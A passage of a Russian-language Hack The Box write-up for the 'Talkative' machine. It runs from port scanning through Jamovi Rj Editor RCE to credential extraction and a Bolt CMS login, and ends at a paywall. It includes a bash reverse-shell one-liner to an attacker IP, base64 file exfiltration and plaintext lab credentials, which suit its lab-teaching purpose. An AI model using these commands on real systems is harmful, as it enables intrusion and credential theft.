В этом рай­тапе по слож­ной машине с пло­щад­ки Hack The Box мы про­экс­плу­ати­руем уяз­вимость в CMS Jamovi для получе­ния учет­ных дан­ных, а затем попен­тестим CMS Bolt, что­бы получить управле­ние над Docker и тун­нелиро­вать тра­фик на основной хост. Пос­ле это­го работа­ем с базой RocketChat для авто­риза­ции в чате и получе­ния RCE. Что­бы повысить при­виле­гии, раз­берем­ся с воз­можностью CAP_DAC_READ_SEARCH.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.155 talkative.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та
Результат работы скрипта (продолжение)
Ре­зуль­тат работы скрип­та (про­дол­жение)

Наш­ли пять откры­тых пор­тов:

  • 80, 3000 — веб‑сер­вер Apache 2.4.52;
  • 8080, 8081, 8082 — веб‑сер­вер Tornado 5.0.

При этом филь­тру­ется под­клю­чение к пор­ту 22 (SSH).

С помощью ути­литы WhatWeb узна­ем, какие тех­нологии исполь­зуют­ся на обна­ружен­ных откры­тых пор­тах.

whatweb http://talkative.htb
whatweb http://talkative.htb:3000/
whatweb http://talkative.htb:8080/
whatweb http://talkative.htb:8081/
whatweb http://talkative.htb:8082/
Проверка используемых технологий
Про­вер­ка исполь­зуемых тех­нологий

Из все­го, что нашел WhatWeb, нас боль­ше все­го инте­ресу­ет плат­форма Jamovi.

Главная страница сайта http://talkative.htb:3000/
Глав­ная стра­ница сай­та http://talkative.htb:3000/
 

Точка входа

Нам дос­тупен Rj Editor, а это очень лег­кий спо­соб получить уда­лен­ное выпол­нение кода (RCE). Для соз­дания реверс‑шел­ла будем исполь­зовать сайт Online Reverse Shell Generator. Там ука­зыва­ем парамет­ры, такие как локаль­ные хост и порт, язык и целевую сис­тему.

Online Reverse Shell Generator
Online Reverse Shell Generator

За­тем откры­ваем лис­тенер, мож­но ско­пиро­вать коман­ду из генера­тора. А теперь откры­ваем Rj Editor и переда­ем сге­нери­рован­ный шелл в фун­кцию system. Отправ­ляем на выпол­нение ком­бинаци­ей кла­виш Ctrl + Shift + Enter.

system("bash -c 'bash -i >& /dev/tcp/10.10.14.11/4321 0>&1'",intern=TRUE)
Rj Editor RCE
Rj Editor RCE

И получа­ем уда­лен­ную коман­дную обо­лоч­ку.

Бэкконнект от сервера
Бэк­коннект от сер­вера

По поль­зовате­лю и име­ни хос­та понима­ем, что находим­ся в докер‑кон­тей­нере.

 

Точка опоры

Ос­матри­ваем­ся в рабочем окру­жении и в домаш­нем катало­ге рута находим файл с рас­ширени­ем omv.

Содержимое каталога /root/
Со­дер­жимое катало­га /root/

Пе­рене­сем этот файл на локаль­ный хост для даль­нейше­го изу­чения. Так как файл малень­кий, можем закоди­ровать его в Base64, а потом декоди­ровать на локаль­ном хос­те.

cat /root/bolt-administration.omv | base64 -w0
Кодирование файла
Ко­диро­вание фай­ла

Де­коди­руем текст, а затем рас­паку­ем как архив ZIP. В одном из фай­лов най­дем учет­ные дан­ные.

echo UEsDBBQA...mBgAAAAA= | base64 -d > bolt-administration.omv
unzip bolt-administration.omv
Содержимое файла xdata.json (логины)
Со­дер­жимое фай­ла xdata.json (логины)
Содержимое файла xdata.json (пароли)
Со­дер­жимое фай­ла xdata.json (пароли)

По­луча­ем сле­дующие пары учет­ных дан­ных:

matt@talkative.htb : jeO09ufhWD<s
janit@talkative.htb : bZ89h}V<S_DA
saul@talkative.htb : )SQWGm>9KHEA

Я переп­робовал раз­ные ком­бинации логинов и паролей, но дос­тупа все рав­но никуда получить не уда­лось. Одна­ко находим поч­товый адрес адми­нис­тра­тора и, поп­робовав най­ден­ные пароли для него, авто­ризу­емся в CMS Bolt.

Главная страница http://talkative.htb/bolt
Глав­ная стра­ница http://talkative.htb/bolt
 

CMS Bolt — RCE

Bolt исполь­зует Twig для шаб­лонов и поз­воля­ет управлять кон­тентом и поль­зовате­лями. Это дает нам воз­можность записы­вать код в новый файл или вно­сить изме­нения в сущес­тву­ющие фай­лы.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии